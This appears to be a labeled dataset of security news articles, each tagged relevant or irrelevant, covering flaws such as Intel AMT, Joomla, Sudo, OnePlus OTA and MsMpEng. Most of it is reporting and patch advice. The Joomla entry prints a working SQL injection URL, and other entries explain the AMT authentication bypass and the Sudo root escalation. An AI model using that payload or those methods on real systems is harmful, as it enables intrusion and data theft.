""EsteemAudit,"" and ""ExplodingCan,"" none reproduces on supported platforms, which means that customers running Windows 7 and more recent versions of Windows or Exchange 2010 and newer versions of Exchange are not at risk,"" Microsoft says. If it's hard for your enterprise to upgrade their systems immediately, it's good for them to secure their RDP port by either disabling it or putting it behind the firewall. Meanwhile, enSilo has released a patch to help Windows XP and Server 2003 users secure their machines against EsteemAudit. You can apply the patch to secure your systems, but keep in mind, that it is not an official patch from Microsoft. If you have any doubt on the patch, enSilo is a reputed cyber security company, though I expect Microsoft to release an official patch before any outcry like that of WannaCry.",irrelevant
"Explained — How Intel AMT Vulnerability Allows to Hack Computers Remotely Earlier this week Intel announced a critical escalation of privilege bug that affects its remote management features shipping with Intel Server chipsets for past 7 years, which, if exploited, would allow a remote attacker to take control of vulnerable PCs, laptops, or servers. The vulnerability, labeled CVE-2017-5689, affects Intel remote management technologies, including Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT) software, versions 6 through 11.6. The flaw was originally discovered by Maksim Malyutin, a member of Embedi research team, in mid-February, who then responsibly disclosed it to the Intel security team. My previous article, published earlier this week, was based on the partial information shared by Maksim to The Hacker News, as the reported Intel AMT vulnerability was highly critical and can be exploited remotely, Embedi held technical details until most sysadmins update their systems with a patched firmware. Today, Embedi research team has disclosed complete technical details about the critical vulnerability, revealing that a remote attacker can hijack computers powered by Intel Chipset just by sending an empty authentication string. To understand how, I have compiled this piece explaining: What is Intel AMT technology? Where the Intel AMT Vulnerability resides? How can an attacker exploit Intel AMT Vulnerability? What is Intel AMT technology? Intel-based chipsets come with an embedded technology, called Intel Active Management Technology (AMT), to enhance the ability of IT administrators, allowing them to remotely manage and repair PCs, workstations, and servers of their organization. Using a web-based control panel, accessible from port 16992 and 16993, which comes pre-installed on the chipset, an administrator can remotely manage a system. The Intel AMT Web Interface works even when the system is turned off, as long as the platform is connected to a line power and a network cable, as it operates independently of the operating system. Where the Intel AMT Vulnerability resides? To protect Intel AMT Web Interface from unauthorized users, the service makes use of HTTP Digest and Kerberos authentication. The escalation of privilege vulnerability resides in the way Intel AMT Web Interface handles user authentication over HTTP Digest protocol, which is based on a simple challenge-response paradigm. Before going into the technical details about the exploitation of this vulnerability, first, you need to know how the Digest authentication works. The Digest authentication completes in the following steps: Client requests server to initiate login, and in response, the server returns a randomly generated 'nonce' value, the HTTP method, and the requested URI. Next, the user is prompted to enter his username and password. Once entered, the client machine sends an encrypted string (referred as user_response)—generated by applying a hash function to the entered username and password, server-supplied nonce value, HTTP method, and the requested URI—to the server. The server also calculates a similar encrypted string (referred as computed_response) using username and password stored in the database and all the other three values. The server compares both the strings using the strncmp() function and if they match, it allows the user to log into the Intel AMT Web Interface. The Intel AMT vulnerability resides exactly in the strncmp() function that server uses to compare both encrypted strings. Syntax example: strncmp (string_1, string_2 , length) —where, length parameter defines how many characters needs to be compared. Strncmp() is a binary safe string comparison function that returns a negative, zero, or a positive integer depending upon whether string_1 is greater or less than string_2, and if they are equal, it returns zero. As, it's obvious, for successful authentication, user_response variable must be equal to computed_response variable; hence the strncmp() function must return a zero value for any length. But, according to the researcher, the programmers who coded this authentication process for Intel platform mistakenly used the length of the user_response variable in strncmp() function, instead of the computed_response variable for response_length parameter. How can an attacker exploit Intel AMT Vulnerability? (Demo) (The above video demonstration for Intel AMT flaw has been submitted by our beloved readers and independent security researchers, Dhanunjaya.V & Jithin D Kurup, who have previously reported critical flaws in IP cameras, bill boards, banks and payment gateways and many Indian Government sites.) To exploit this logical flaw in Intel AMT Web Interface, all an unauthorized attacker needs to do is send nothing (null) into user_response to the server. Since the strncmp() function is mistakenly using character length of the user_response variable to authorize the user, which in this case is null, the string comparison function would be tricked into matching nothing and believe that attacker's response (user_response) is equals to the computed_response. As both variables matched, the attacker will be authenticated to log into the Intel AMT Web Interface and do whatever an authorized administrator can do, gaining high-level privileges on the system. Computers Can be Hacked Even If They're Turned OFF An attacker can also use Keyboard Video Mouse (KVM) feature, available inside Intel AMT Web Panel, which runs at a hardware level and allows sysadmins to remotely take control of the whole system, and perform tasks like: ""[Attacker] can remotely load, execute any program to the target system, read/write any file (using the common file explorer),"" the research team wrote in its paper [PDF]. ""Using IDE-R (IDE Redirection), [the attacker] can remotely change the boot device to some other virtual image for example."" ""Using SOL (Serial over LAN), [the attacker] can remotely power on/power off/reboot/reset and do other actions with this feature. Also, it can be used to access BIOS setup for editing,"" the team added. In short, a potential attacker can do everything that a sysadmin can do: he can log into a vulnerable machine's hardware, and silently perform malicious activities, like tampering with the system and installing virtually undetectable malware. Install Firmware Update to Patch the Vulnerability NOW! The bug affects Intel manageability firmware versions 6.x, 7.x, 8.x 9.x, 10.x, 11.0, 11.5, and 11.6 for Intel's AMT, ISM, and SBT platforms. However, versions before 6 or after 11.6 are not impacted. Intel has rated the vulnerability as highly critical and released new firmware versions, instructions to detect if any workstation runs AMT, ISM, or SBT, a detection guide to check if your system is vulnerable, and a mitigation guide for those organizations that can not immediately install updates. So, the Intel customers are strongly recommended to install a firmware patch without wasting a single second. Also, there's a simple mitigation tool available on Github, created by Malware researcher Bart Blaze, which is based on the Mitigation Guide provided by Intel. All an affected user has to do is, just download and run DisableAMT.exe, it will disable Intel AMT on Windows operating system (x86 and x64).",relevant
"PCs with Intel Server Chipsets, Launched Since 2010, Can be Hacked Remotely Updated: Since the below-reported vulnerability is highly critical and it would take a few weeks for sysadmins to protect their enterprise network, the research team has not yet disclosed the technical details of the vulnerability. Meanwhile, I have talked with Maksim Malyutin, a member of Embedi research team who discovered the vulnerability in March, and updated my article based on the information provided by him. A critical vulnerability has been discovered in the remote management features on computers shipped with Intel processors for past seven years (and not decade), which could allow attackers to take control of the computers remotely, affecting all Intel systems, including PC, laptops, and servers, with AMT feature enabled. As reported earlier, this critical flaw (CVE-2017-5689) is not a remote code execution, rather Malyutin confirmed to The Hacker News that it's a logical vulnerability that also gives remote attackers an opportunity to exploit this bug using additional tactics. This elevation of privilege bug resides in the Intel Management Engine (ME) technologies such as Active Management Technology (AMT), Small Business Technology (SBT), and Intel Standard Manageability (ISM), according to an advisory published Monday by Intel. These remote management features allow a systems administrator to remotely manage large fleets of computers over a network (via ports 16992 or 16993) in an organization or an enterprise. Since these functions are present only in enterprise solutions, and mostly in server chipsets, Intel claims that the vulnerability doesn't affect chips running on Intel-based consumer PCs. But Malyutin told us that ""Intel-based consumer PCs with official support of Intel vPro (and have Intel AMT feature enabled) could also be at risk,"" and ""there is also a chance of attacks performed on Intel systems without official Intel AMT support."" According to the Intel advisory, the vulnerability could be exploited in two ways: An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel AMT and ISM. However, Intel SBT is not vulnerable to this issue. An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel AMT, ISM, and SBT. How Bad is this Vulnerability In short, a potential attacker can log into a vulnerable machine's hardware and silently perform malicious activities, like tampering with the machine, installing virtually undetectable malware, using AMT's features. The PC's operating system never knows what's going around because AMT has direct access to the computer's network hardware. When AMT is enabled, any packet sent to the PC's wired network port will be redirected to the Management Engine and passed on to AMT – the OS never sees those packets. These insecure management features have been made available in various, but not all, Intel chipsets from almost past seven years, starting from vPro-capable 5-series chipsets. ""Systems affected by this vulnerability are from 2010-2011 (not 2008, as was mentioned in some of the comments) because Intel manageability firmware version 6.0 and above was made not earlier than 2010,"" Embedi's brief post says. ""There is also a chance of attacks performed on Intel systems without Intel AMT support."" Fortunately, none of these Management Engine features come enabled by default, and system administrators must first enable the services on their local network. So, basically if you are using a computer with ME features enabled, you are at risk. Despite using Intel chips, modern Apple Mac computers do not ship with the AMT software and are thus not affected by the flaw. Affected Firmware Versions & How to Patch The security flaw affects Intel manageability firmware versions 6.x, 7.x, 8.x 9.x, 10.x, 11.0, 11.5, and 11.6 for Intel's AMT, ISM, and SBT platforms. However, versions before 6 or after 11.6 are not impacted. Intel has rated the vulnerability as highly critical and released new firmware versions, instructions to detect if any workstation runs AMT, ISM, or SBT, a detection guide to check if your system is vulnerable, and a mitigation guide for those organizations that can not immediately install updates. The chipmaker is recommending vulnerable customers install a firmware patch as soon as possible. ""Fixing this requires a system firmware update in order to provide new ME [management engine] firmware (including an updated copy of the AMT code). Many of the affected machines are no longer receiving firmware updates from their manufacturers, and so will probably never get a fix,"" CoreOS security engineer Matthew Garrett explained in a blog post. ""Anyone who ever enables AMT on one of these devices will be vulnerable."" ""That's ignoring the fact that firmware updates are rarely flagged as security critical (they don't generally come via Windows Update), so even when updates are made available, users probably won't know about them or install them."" Malyutin told The Hacker News that they would release more technical details about this flaw in upcoming days, including different attack vectors for successful exploitation. We will update this article accordingly. Stay Tuned!",relevant
"Latest Joomla 3.7.1 Release Patches Critical SQL Injection Attack If your website is based on the popular Joomla content management system, make sure you have updated your platform to the latest version released today. Joomla, the world's second popular open source Content Management System, has reportedly patched a critical vulnerability in its software's core component. Website administrators are strongly advised to immediately install latest Joomla version 3.7.1, released today, to patch a critical SQL Injection vulnerability (CVE-2017-8917) that affects only Joomla version 3.7.0. ""Inadequate filtering of request data leads to a SQL Injection vulnerability."" release note says. The SQL Injection vulnerability in Joomla 3.7.0 was responsibly reported by Marc-Alexandre Montpas, a security researcher at Sucuri last week to the company. joomla-sql-injection-attack According to the researcher, 'The vulnerability is easy to exploit and doesn't require a privileged account on the victim's site,' which could allow remote hackers to steal sensitive information from the database and gain unauthorized access to websites. The SQL Injection vulnerability originates from a com_fields parameter, which was introduced in version 3.7. /index.php?option=com_fields&view=fields&layout=modal ""So in order to exploit this vulnerability, all an attacker has to do is add the proper parameters to the URL in order to inject nested SQL queries."" the researcher says. Joomla 3.7.0 Proof-of-Concept Exploit: https://target-joomla-website.com/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0) Since hackers would not take much time to exploit this vulnerability against millions of websites, you are advised to download the latest version of Joomla for your website and inform others about the release of critical patch update as well.",relevant
"High-Severity Linux Sudo Flaw Allows Users to Gain Root Privileges A high-severity vulnerability has been reported in Linux that could be exploited by a low privilege attacker to gain full root access on an affected system. The vulnerability, identified as CVE-2017-1000367, was discovered by researchers at Qualys Security in Sudo's ""get_process_ttyname()"" function for Linux that could allow a user with Sudo privileges to run commands as root or elevate privileges to root. Sudo, stands for ""superuser do!,"" is a program for Linux and UNIX operating systems that lets standard users run specific commands as a superuser (aka root user), such as adding users or performing system updates. The flaw actually resides in the way Sudo parsed ""tty"" information from the process status file in the proc filesystem. On Linux machines, sudo parses the /proc/[pid]/stat file in order to determine the device number of the process's tty from field 7 (tty_nr), Qualys Security explains in its advisory. Although the fields in the file are space-delimited, it is possible for field 2 (the command name) to include whitespace (including newline), which sudo doesn't account for. Therefore, a local user with sudo privileges (Sudoer) on SELinux-enabled systems can cause sudo to use a device number of his choice ""by creating a symbolic link from the sudo binary to a name that contains a space, followed by a number,"" escalating their privileges to overwrite any file on the filesystem, including root-owned files. ""To exploit the bug, the user can choose a device number that does not currently exist under /dev. If sudo does not find the terminal under the /dev/pts directory, it performs a breadth-first search of /dev...The attacker may then create a symbolic link to the newly-created device in a world-writable directory under /dev, such as /dev/shm,"" an alert on the sudo project website reads. ""This file will be used as the command's standard input, output and error when an SELinux role is specified on the sudo command line. If the symbolic link under /dev/shm is replaced with a link to another file before [sudo opens it], it is possible to overwrite an arbitrary file by writing to the standard output or standard error. This can be escalated to full root access by rewriting a trusted file such as /etc/shadow or even /etc/sudoers."" The vulnerability, which affects Sudo 1.8.6p7 through 1.8.20 and marked as high severity, has already been patched in Sudo 1.8.20p1, and users are recommended to update their systems to the latest release. Red Hat yesterday pushed out patches for Red Hat Enterprise Linux 6, Red Hat Enterprise Linux 7, and Red Hat Enterprise Linux Server. Debian has also released fixes for its Wheezy, Jessie and Sid releases and SUSE Linux has rolled out fixes for a number of its products. Qualys Security said it would publish its Sudoer-to-root exploit once a maximum number of users have had time to patch their systems against the flaw.",relevant
"All OnePlus Devices Vulnerable to Remote Attacks Due to 4 Unpatched Flaws There is a bad news for all OnePlus lovers. A security researcher has discovered four vulnerabilities that affect all OnePlus handsets, including One, X, 2, 3 and 3T, running the latest versions of OxygenOS 4.1.3 (worldwide) and below, as well as HydrogenOS 3.0 and below (for Chinese users). Damn, I am feeling bad, I myself use OnePlus. One of the unpatched vulnerabilities allows Man-in-the-Middle (MitM) attack against OnePlus device users, allowing a remote attacker to downgrade the device's operating system to an older version, which could then expand the attack surface for exploitation of previously disclosed now-patched vulnerabilities. What's even worse? The other two vulnerabilities also allow an MitM attacker to replace any version of OxygenOS with HydrogenOS (or vice versa), as well as to replace the operating system with a completely different malicious ROM loaded with spying apps. The vulnerabilities have been discovered by Roee Hay of Aleph Research, HCL Technologies, who reported them to the company in January this year. However, when OnePlus failed to release patches for the issues even after 90 days of responsible disclosure, and 14 days of additional ultimatum, the researcher decided to go public with the details of the vulnerabilities, which are described below. 1 — OnePlus OTA Updates Over HTTP: CVE-2016-10370 It's 2017, and you would be shocked to know that one of the popular device manufacturers is sending you OS updates and security patches over an unencrypted channel. Roee Hay and Sagi Kedmi, who also independently discovered it, claims that OnePlus is delivering signed-OTA (over-the-air) updates over HTTP without TLS, allowing remote attackers to perform MitM attacks. Since the OTA updates are signed with a digital signature, this bug alone is not sufficient to push malicious updates to the affected devices. But this weakness facilitates other three below-reported vulnerabilities, which could allow an attacker to defeat the digital signature mechanism as well. 2 — OnePlus OTA Downgrade Attack: CVE-2017-5948 This flaw allows a remote attacker to downgrade the operating system of a targeted OnePlus device, either running on OxygenOS or HydrogenOS, to an earlier version that may contain vulnerabilities disclosed previously. Since all the OnePlus OTAs of different ROMs and products are signed by the same digital key, the device will accept and install any OTA image, even if the bootloader is locked. Android devices mostly have a logical code that does not allow users to downgrade their OS, but OnePlus fails here as well. It does not check if the currently installed version of the OS is lower than or equal to the given OTA image. OnePlus 3T, OnePlus 3, OnePlus 2, OnePlus X and OnePlus One are affected by this vulnerability. The researcher has also published proof-of-concept (PoC) code on GitHub. 3 — OxygenOS/HydrogenOS Crossover Attack: CVE-2017-8850 The second flaw listed above also allows a remote attacker to replace any version of OxygenOS on a targeted OnePlus device with any version of HydrogenOS, even on locked bootloaders. This attack is possible because ""the fact (that) both ROMs use the same OTA verification keys,"" According to the researcher, OnePlus 3T, OnePlus 3, OnePlus 2, OnePlus X and OnePlus One are affected by this vulnerability as well. The researcher has also published proof-of-concept (PoC) for this flaw on GitHub. 4 — OnePlus OTA One/X Crossover Attack: CVE-2017-8851 This flaw, which only affects OnePlus X and OnePlus One, is practically same as the above two, but in this case, a remote MiTM attacker can even replace the OS (Oxygen/Hydrogen) designed for OnePlus X with the OS (Oxygen/Hydrogen) designed for OnePlus One, even on locked bootloaders. This is because both the devices ""use the same OTA verification keys"" and ""share the same ro.build.product system property."" ""That could theoretically allow for exploitation of vulnerabilities patched on one image but not on the other, in addition to the expansion of the attack surface,"" Hay says. ""Moreover, the vulnerability may result in having the device unusable until a Factory Reset is performed."" You can check the proof-of-concept exploit for this vulnerability here. All the above flaws exist only because OnePlus is not using secure communication for delivering OTA updates, and can be patched easily just by introducing HTTPS/TLS implementation. Since the exploitation requires the attacker and the targeted device to be on the same network, users are advised to avoid connecting to untrusted or public Wi-Fi networks.",relevant
"Shadow Brokers, Who Leaked WannaCry SMB Exploit, Are Back With More 0-Days The infamous hacking collective Shadow Brokers – the one who leaked the Windows SMB exploit in public that led to last weekend's WannaCrypt menace – are back, this time, to cause more damage. In typically broken English, the Shadow Brokers published a fresh statement (with full of frustration) a few hours ago, promising to release more zero-day bugs and exploits for various desktop and mobile platforms starting from June 2017. However, this time the Shadow Brokers leaks will not be available for everybody, as the hacking collective said: ""TheShadowBrokers is launching new monthly subscription model. Is being like [the] wine of month club. Each month peoples can be paying membership fee, then getting members only data dump each month."" To some extent, this is good news, but it is terrible news too. Good because now all these upcoming alleged unpatched vulnerabilities will be patched after being disclosed and terrible because the group will sell new zero-day exploits and hacking tools to private members with paid monthly subscription, instead of telling them to Microsoft. Apparently, other hackers, criminal gangs, state-sponsored hackers, maybe some journalists and people from tech companies, would naturally join Shadow Brokers' membership. Get Ready for the 'Wine of Month Club' So, anyone buying the membership of the ""wine of month club"" would be able to get exclusive access to the upcoming leaks, which the Shadow Brokers claims would include: Exploits for web browsers, routers, and smartphones. Exploits for operating systems, including Windows 10. Compromised data from banks and Swift providers. Stolen network information from Russian, Chinese, Iranian, and North Korean nuclear missile programs. The claims made by the group remain unverified at the time of writing, but since the Shadow Brokers' previously released data dump turned out to be legitimate, the group's statement should be taken seriously, at least now, when we know the EternalBlue exploit and DoublePulsar backdoor developed by the NSA and released by the Shadow Brokers last month was used by WannaCry to cause chaos worldwide. Before publicly dumping these exploits in April, the Shadow Brokers put an auction of cyber weapons stolen from NSA's elite hacking team called Equation Group for 1 Million Bitcoin. After failed auction, the hacking group even put up those hacking tools and exploits for direct sale on an underground site, categorizing them into a type — like ""exploits,"" ""Trojans,"" and ""implant"" — each of which ranged from 1 to 100 Bitcoins (from $780 to $78,000). After failure from all sides, the group started leaking those hacking exploits. Last month, the Shadow Brokers released a Microsoft Windows SMB exploit that was used by the WannaCry ransomware, which infected 200,000 machines in 150 countries within just 48 hours. While talking about the WannaCry ties with North Korean state-sponsored hacking group Lazarus Group, the group said: ""The Oracle is telling theshadowbrokers North Korea is being responsible for the global cyber attack Wanna Cry. Nukes and cyber attacks, America has to go to war, no other choices!"" Shadow Brokers Lashed out on US Government and Tech Companies In its recent post, the Shadow Brokers criticized both the US government and tech companies, such as Microsoft, for not cracking down on the exploits when they had the chance, months before their release. The hacking group said the US government is paying tech companies not to patch zero-days in their products, claiming that it has spies inside Microsoft among other US tech firms. The Shadow Brokers even accused Google Project Zero team, saying: ""TheShadowBrokers is thinking Google Project Zero is having some former TheEquationGroup member. Project Zero recently releasing ""Wormable Zero-Day"" Microsoft patching in record time, knowing it was coming? Coincidence?"" Who knows if these accusation made by the Shadow Brokers group are true or not, but the world should be well prepared for another WannaCry-like massive destroyer.",irrelevant
"Real-World SS7 Attack — Hackers Are Stealing Money From Bank Accounts Security researchers have been warning for years about critical security holes in the Signaling System 7 (SS7) that could allow hackers to listen in private phone calls and read text messages on a potentially vast scale, despite the most advanced encryption used by cellular networks. Cellular networks, on the other hand, have consistently been ignoring this serious issue, saying that it is a very low risk for most people, as the exploitation of the SS7 flaws requires significant technical and financial investment. But some unknown hackers have just proved them wrong by recently exploiting the design flaws in the SS7 to drain victims' bank accounts, according to a report published Wednesday by German-based newspaper Süddeutsche Zeitung. SS7 is a telephony signaling protocol created in the 1980s by telcos and powered more than 800 telecom operators across the world, including AT&T and Verizon, to interconnect and exchange data, like routing calls and texts with one another, enabling roaming, and other services. Real-World SS7 Attack Scenarios The global telecom network SS7 is vulnerable to several design flaws that could allow hackers to listen to phone calls and intercept text messages on a potentially massive scale, despite the most advanced encryption used by cellular network operators. The designing flaws in SS7 have been in circulation since 2014 when a team of researchers at German Security Research Labs alerted the world to it. So, the privacy concerns regarding the SS7 protocol is not new. Here's the real-world evidence that cyber-criminals are using long-known SS7 vulnerability to drain Bank accounts. CLICK TO TWEET Last year, Karsten Nohl of German Security Research Labs demonstrated the SS7 attack on US Congressman Ted Lieu's phone number (with his permission) at TV program 60 Minutes and successfully intercepted his iPhone, recorded call, and tracked his precise location in real-time just by using his cell phone number and access to an SS7 network. In a separate demonstration, the researchers from Positive Technologies last year also gave a demonstration on the WhatsApp, Telegram, and Facebook hacks using the same designing flaws in SS7 to bypass two-factor authentication used by the services. Thieves Using SS7 Flaw to Steal Money From Bank Accounts Now, Germany's O2 Telefonica has confirmed that the same SS7 weaknesses have recently been exploited by cybercriminals to bypass two-factor authentication (2FA) banks used to prevent unauthorized withdrawals from users bank accounts. ""Criminals carried out an attack from a network of a foreign mobile network operator in the middle of January,"" an O2 Telefonica representative told Süddeutsche Zeitung. ""The attack redirected incoming SMS messages for selected German customers to the attackers."" In short, cyber criminals exploited SS7 flaws to intercept two-factor authentication codes (one-time passcode, or OTP) sent to online banking customers and drained their bank accounts. Here's How: The attackers first spammed out traditional bank-fraud trojans to infect account holders' computers and steal passwords used to log into bank accounts, view accounts balance, along with their mobile number. But what prevented the attackers from making money transfers is the one-time password the bank sent via a text message to its online banking customers in order to authorize the transfer of funds between accounts. To overcome this issue, the cyber crooks then purchased the access to a fake telecom provider and set-up a redirect for the victim's phone number to a handset controlled by them. Specifically, they used SS7 to redirect the SMSes containing OTPs sent by the bank. Next, the attackers logged into victims' online bank accounts and transferred money out, because as soon as the authorization codes were sent by the bank, instead of designated account holders, they were routed to numbers controlled by the attackers, who finalized the transaction. Can You Avoid this Hack? This latest SS7 attack once again shed light on the insecurity by design and lack of privacy in the global telephone network protocol, making it clear that real-world SS7 attacks are possible. And since the SS7 network is used worldwide, the issue puts billions of users in danger. The incident also underscores the risks of relying on SMS-based two-factor authentication. Although the network operators are unable to patch the hole anytime soon, there is little the smartphone users can do. Avoid using two-factor authentication via SMS texts for receiving OTP codes. Instead, rely on cryptographically-based security keys as a second authentication factor.",irrelevant
"0-Day Flaws in Vanilla Forums Let Remote Attackers Hack Websites A security researcher has publicly disclosed two critical zero-day vulnerabilities in Vanilla Forums, an open source software that powers discussion on over 500,000 websites, which could allow unauthenticated, remote attackers to fully compromise targeted websites easily. Discovered by Polish security researcher Dawid Golunski of Legal Hackers, two separate unpatched vulnerabilities, a remote code execution (CVE-2016-10033) and host header injection (CVE-2016-10073), affect the latest version of Vanilla Forums 2.3, leaving hundreds of thousands of websites and their visitors vulnerable to various hacking attacks. Vanilla Forums: Remote Code Execution Flaw According to Golunski, both vulnerabilities technically exist because Vanilla Forum is still using a vulnerable version of PHPMailer, one of the most popular open source PHP libraries used to send emails. Last year Golunski reported a critical remote code execution flaw (CVE-2016-10033) in PHPMailer library that allows an attacker to remotely execute arbitrary code in the context of the web server and compromise the target web application. In a proof-of-concept video, Golunski demonstrated that the same PHPMailer exploit also makes the Vanilla Forums vulnerable, and if used in combination with host header injection, it allows attackers to inject arbitrary commands and payloads passed within the HOST header. ""It should be noted that this vulnerability can still be exploited even if Vanilla software is hosted on Apache web server with several name-based vhosts enabled, and despite not being the default vhost,"" the researcher explained. Vanilla Forums: Host Header Injection Flaw The Host Header Injection vulnerability in Vanilla forum can also be independently used to hijack user accounts, let's say admin, by sending a spoofed HTTP request with a custom HOST header (for example attacker-mxserver.com), while initiating a password reset process for a targeted admin user. This technique also works in a similar manner as the Wordpress flaw, Golunski disclosed just last week, allowing attackers to gain access to user accounts, ""carrying Web-cache poisoning attacks, and in some instances, execute arbitrary code."" Golunski reported the vulnerabilities to the Vanilla Forums in January this year. The company acknowledged his reports but went mum for around five months, which made him go public with his findings. The researcher confirmed both the flaws still exist in the most recent, stable version 2.3 of Vanilla Forums, and believes that older versions of the forum software are also vulnerable. Until the company fixes the issue, as a temporary mitigation, Golunski advises website administrator to set the sender's email address to a predefined static value in order to block the Vanilla Forums from using the HOST header. Update: Vanilla Forums fixed the reported vulnerabilities last night, and said the issues only affect its free and open source product, adding ""neither of these vulnerabilities affect our cloud customers"" at vanillaforums.com, ""nor were they at the time of their publication."" Users of its free and open source software are strongly recommended to update their Vanilla Forums software to the latest open source version, Vanilla 2.3.1.",relevant
"Microsoft Issues Emergency Patch For Critical RCE in Windows Malware Scanner Microsoft's own antivirus software made Windows 7, 8.1, RT and 10 computers, as well as Windows Server 2016 more vulnerable. Microsoft has just released an out-of-band security update to patch the crazy bad bug discovered by a pair of Google Project Zero researchers over the weekend. Security researchers Tavis Ormandy announced on Twitter during the weekend that he and another Project Zero researcher Natalie Silvanovich discovered ""the worst Windows remote code [execution vulnerability] in recent memory."" Natalie Silvanovich also published a proof-of-concept (PoC) exploit code that fits in a single tweet. The reported RCE vulnerability, according to the duo, could work against default installations with ""wormable"" ability – capability to replicate itself on an infected computer and then spread to other PCs automatically. According to an advisory released by Microsoft, the remotely exploitable security flaw (CVE-2017-0290) exists in Microsoft Malware Protection Engine (MMPE) – the company's own antivirus engine that could be used to fully compromise Windows PCs without any user interaction. List of Affected Anti-Malware Software Eventually, every anti-malware software that ship with the Microsoft's Malware Protection Engine are vulnerable to this flaw. The affected software includes: Windows Defender Windows Intune Endpoint Protection Microsoft Security Essentials Microsoft System Center Endpoint Protection Microsoft Forefront Security for SharePoint Microsoft Endpoint Protection Microsoft Forefront Endpoint Protection Microsoft's Defender security software comes enabled by default on Windows 7, 8.1, RT 8.1, and Windows 10, as well as Windows Server 2016. All are at risk of full remote system compromise. Remote Code Execution Flaw in Microsoft's Malware Protection Engine The flaw resides in the way the Microsoft Malware Protection Engine scan files. It is possible for an attacker to craft a malicious file that could lead to memory corruption on targeted systems. Researchers have labeled the flaw as a ""type confusion"" vulnerability that exists in NScript, a ""component of mpengine that evaluates any filesystem or network activity that looks like JavaScript,"" which fails to validate JavaScript inputs. ""To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds,"" Google security researchers explained in a bug report posted on the Chromium forum. Since antivirus programs have real-time scanning functionality enabled by default that automatically scans files when they are created, opened, copied or downloaded, the exploit gets triggered as soon as the malicious file is downloaded, infecting the target computer. The vulnerability could be exploited by hackers in several ways, like sending emails, luring victims to sites that deliver malicious files, and instant messaging. ""On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on,"" researchers explained. ""This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc.) is enough to access functionality in mpengine."" The injected malicious payload runs with elevated LocalSystem level privileges that would allow hackers to gain full control of the target system, and perform malicious tasks like installing spyware, stealing sensitive files, and login credentials, and much more. Microsoft responded to the issue very quickly and comes up with a patch within just 3 days, which is very impressive. The patch is now available via Windows Update for Windows 7, 8.1, RT and 10. The vulnerable version of Microsoft Malware Protection Engine (MMPE) is 1.1.13701.0, and the patched version is 1.1.13704.0. By default, Windows PCs automatically install the latest definitions and updates for the engine. So, your system will install the emergency update automatically within 1-2 days, but you can also get it installed immediately by pressing 'Check Update' button in your settings.",relevant
"Google 0-Day Hunters Find 'Crazy Bad' Windows RCE Flaw Update (Monday, May 08, 2017): Microsoft has released an emergency security update to patch below-reported crazy bad remote code execution vulnerability in its Microsoft Malware Protection Engine (MMPE) that affects Windows 7, 8.1, RT and 10 computers, as well as Windows Server 2016 operating systems. Google Project Zero's security researchers have discovered another critical remote code execution (RCE) vulnerability in Microsoft's Windows operating system, claiming that it is something truly bad. Tavis Ormandy announced during the weekend that he and another Project Zero researcher Natalie Silvanovich discovered ""the worst Windows remote code [execution vulnerability] in recent memory. This is crazy bad. Report on the way."" Ormandy did not provide any further details of the Windows RCE bug, as Google gives a 90-day security disclosure deadline to all software vendors to patch their products and disclose it to the public. This means the details of the new RCE vulnerability in Windows will likely be disclosed in 90 days from now even if Microsoft fails to patch the issue. However, Ormandy later revealed some details of the Windows RCE flaw, clarifying that: The vulnerability they claimed to have discovered works against default Windows installations. The attacker does not need to be on the same local area network (LAN) as the victim, which means vulnerable Windows computers can be hacked remotely. The attack is ""wormable,"" capability to spread itself. Despite not even releasing any technical details on the RCE flaw, some IT professionals working for corporates have criticized the Google Project Zero researcher for making the existence of the vulnerability public, while Twitter's infosec community is happy with the work. ""If a tweet is causing panic or confusion in your organization, the problem isn't the tweet, the problem is your organization,"" Project Zero researcher Natalie Silvanovich tweeted. This is not the first time when Google's security researchers have discovered flaws in Microsoft's products. Most recently in February, Google researchers disclosed the details of an unpatched vulnerability impacting Microsoft's Edge and Internet Explorer browsers. Microsoft released a patch as part of its next Patch Tuesday but criticized Google for making all details public, exposing millions of its Windows users at risk of being hacked. Microsoft has not yet responded to the latest claims, but the company has its May 2017 Patch Tuesday scheduled tomorrow, May 9, so hopefully, it will include a security patch to resolve this issue.",irrelevant
"18-Byte ImageMagick Hack Could Have Leaked Images From Yahoo Mail Server After the discovery of a critical vulnerability that could have allowed hackers to view private Yahoo Mail images, Yahoo retired the image-processing library ImageMagick. ImageMagick is an open-source image processing library that lets users resize, scale, crop, watermarking and tweak images. The tool is supported by PHP, Python, Ruby, Perl, C++, and many other programming languages. This popular image-processing library made headline last year with the discovery of the then-zero-day vulnerability, dubbed ImageTragick, which allowed hackers to execute malicious code on a Web server by uploading a maliciously-crafted image. Now, just last week, security researcher Chris Evans demonstrated an 18-byte exploit to the public that could be used to cause Yahoo servers to leak other users' private Yahoo! Mail image attachments. 'Yahoobleed' Bug Leaks Images From Server Memory yahoo-imagemagick-hack The exploit abuses a security vulnerability in the ImageMagick library, which Evans dubbed ""Yahoobleed #1"" (YB1) because the flaw caused the service to bleed contents stored in server memory. The vulnerability actually exists in the obscure RLE (Utah Raster Toolkit Run Length Encoded) image format. To exploit the vulnerability, all an attacker need to do is create a maliciously crafted RLE image, and send it to the victim's email address, and then create a loop of empty RLE protocol commands, prompting the leakage of information. To show how it is possible to compromise a Yahoo email account, Evans, as a proof-of-concept (PoC) demonstration, created a malicious image containing 18-byte exploit code and emailed it as an email attachment to himself. Once the attachment reached the Yahoo's email servers, ImageMagick processed the image to generate thumbnails and previews, but due to the execution of Evans' exploit code, the library generated a corrupt image preview for the image attachment. Once this image attachment is clicked, it launched the image preview pane, causing the service to display portions of images that were still present in the server's memory, instead of the original image. ""The resulting JPEG image served to my browser is based on uninitialized, or previously freed, memory content,"" Evans said. Unlike Heartbleed and Cloudbleed that were due to out-of-bounds server side memory content leaks, Evans said Yahoobleed makes use of uninitialized or previously freed, memory content. ""The previous bleed vulnerabilities have typically been out-of-bounds reads, but this one is the use of uninitialized memory,"" 